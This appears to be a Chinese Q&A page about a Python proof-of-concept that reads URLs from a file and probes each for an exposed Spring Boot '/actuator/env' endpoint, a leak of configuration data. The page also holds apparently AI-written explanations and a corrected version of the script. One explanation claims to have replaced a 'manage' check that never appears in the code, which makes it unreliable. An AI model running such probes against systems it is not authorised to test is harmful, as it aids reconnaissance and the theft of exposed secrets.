import requests def verify(url): payload = '/actuator/env' try: res = requests.get(url+payload, timeout=5) if 'activeProfiles' in res.text: print(url+' 存在信息泄露漏洞') else: print(url+' 不存在') except requests.exceptions.Timeout: print(url+" 请求超时!") except requests.exceptions.ConnectionError: print(url+" 连接错误!") if __name__ == '__main__': with open('poc.txt','r') as f: for line2 in f: verify(url=line2.strip())
时间: 2024-02-29 12:56:10 浏览: 20
这段代码是一个简单的 Python 脚本,用于检测 Web 应用程序是否存在信息泄露漏洞。脚本中使用 requests 库发送 HTTP GET 请求,获取指定 URL 的 /actuator/env 页面内容,并检查返回的 HTML 页面中是否包含 "activeProfiles" 字符串。如果存在,则说明存在信息泄露漏洞,否则则说明不存在。
脚本中使用了一个 poc.txt 文件,其中按行记录了需要被检测的 URL 地址。脚本读取文件中的每一行 URL 地址,并对其进行检测。
需要注意的是,脚本中使用了 timeout 参数设置请求超时时间,防止程序因为网络原因或者其他错误导致长时间等待而无响应,影响程序的稳定性和可用性。
相关问题
def verify(url): payload = '/actuator/env' res = requests.get(url+payload)
这段代码的作用是向指定的URL发送一个GET请求,请求的路径是"/actuator/env",并将返回的结果保存在变量res中。但是,由于你在调用该函数时出现了连接错误,导致请求失败。建议你检查一下URL地址是否正确,以及网络连接是否可用。如果问题持续存在,可以考虑尝试其他的网络连接方法或者更改请求路径。
#""" #文件包含 poc #http://127.0.0.1/1/file=XXXX #""" import requests def verify(url): payload = '/actuator/env' try: res = requests.get(url+payload, timeout=5) return res except requests.exceptions.Timeout: print(url+" 请求超时!") return None if 'activeProfiles' in res.text: print(url+'存在信息泄露漏洞') else: print(url+'不存在') if __name__ == '__main__': with open('poc.txt','r') as f: for line2 in f: verify(url=line2)
这段代码有一些语法错误,需要进行修改。下面是修改后的代码:
```
import requests
def verify(url):
payload = '/actuator/env'
try:
res = requests.get(url+payload, timeout=5)
if 'activeProfiles' in res.text:
print(url+' 存在信息泄露漏洞')
else:
print(url+' 不存在')
except requests.exceptions.Timeout:
print(url+" 请求超时!")
except requests.exceptions.ConnectionError:
print(url+" 连接错误!")
if __name__ == '__main__':
with open('poc.txt','r') as f:
for line2 in f:
verify(url=line2.strip())
```
这个代码中,我们将判断'manage'的逻辑改成了判断'activeProfiles',因为'manage'可能会被误判为存在漏洞。同时,我们还添加了对请求超时和连接错误的处理。
在循环中,我们使用strip函数来去除每个URL字符串中的空格和换行符。这个函数可以保证URL的正确性。